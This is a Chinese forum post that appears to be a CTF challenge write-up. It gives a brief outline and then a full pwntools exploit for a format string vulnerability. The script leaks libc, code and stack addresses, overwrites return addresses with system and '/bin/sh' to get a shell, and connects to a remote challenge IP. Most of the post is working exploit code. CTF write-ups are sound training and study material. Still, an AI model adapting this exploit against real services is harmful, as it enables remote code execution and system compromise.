-
-
[原创] 第三题:金字塔的诅咒
-
2019-6-22 22:09 2319
-
格式化字符串攻击。
泄露栈地址,libc地址
栈上存在指向栈的指针
通过格式化字符串攻击修改栈上内容,使其指向rbp-4和rbp-8
通过格式化字符串攻击写rop
base=0x56555000 from pwn import * cn=remote("152.136.18.34",9999) #cn=process("./format",shell=False ) elf=ELF("./format") context.log_level='debug' #gdb.attach(cn,"b *"+hex(base+0x8F8)+"\n b *"+hex(base+0x890)) def send_data(inx,data): cn.sendafter("oice:",inx) cn.sendlineafter("ou want to say:",data) def change(offset,data): send_data("1\n", "%" + str(u16(data)) + "c%%%d$hn"%offset) send_data("1","%11$x") libc_base=int(cn.recv(8),16)-0x18637 success(hex(libc_base)) sys_addr=libc_base+0x03a940 sh_addr=libc_base+0x15902b send_data("1","%3$x") code_base=int(cn.recv(8),16)-0x8f3 success(hex(code_base)) string_addr=code_base+0x200C send_data("1","%5$x") stack=int(cn.recv(8),16)-0xcc success(hex(stack)) rbp_addr=stack+0x30 step1_addr=rbp_addr+0xac buf_addr=rbp_addr-0x10 success(hex(buf_addr)) success(hex(rbp_addr)) success(hex(step1_addr)) change(5,p32(rbp_addr+4)[0:2]) change(53,p32(sys_addr)[0:2]) change(5,p32(rbp_addr+6)[0:2]) change(53,p32(sys_addr)[2:4]) change(5,p32(rbp_addr+12)[0:2]) change(53,p32(sh_addr)[0:2]) change(5,p32(rbp_addr+14)[0:2]) change(53,p32(sh_addr)[2:4]) cn.recv() cn.interactive()
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界
赞赏
他的文章
看原图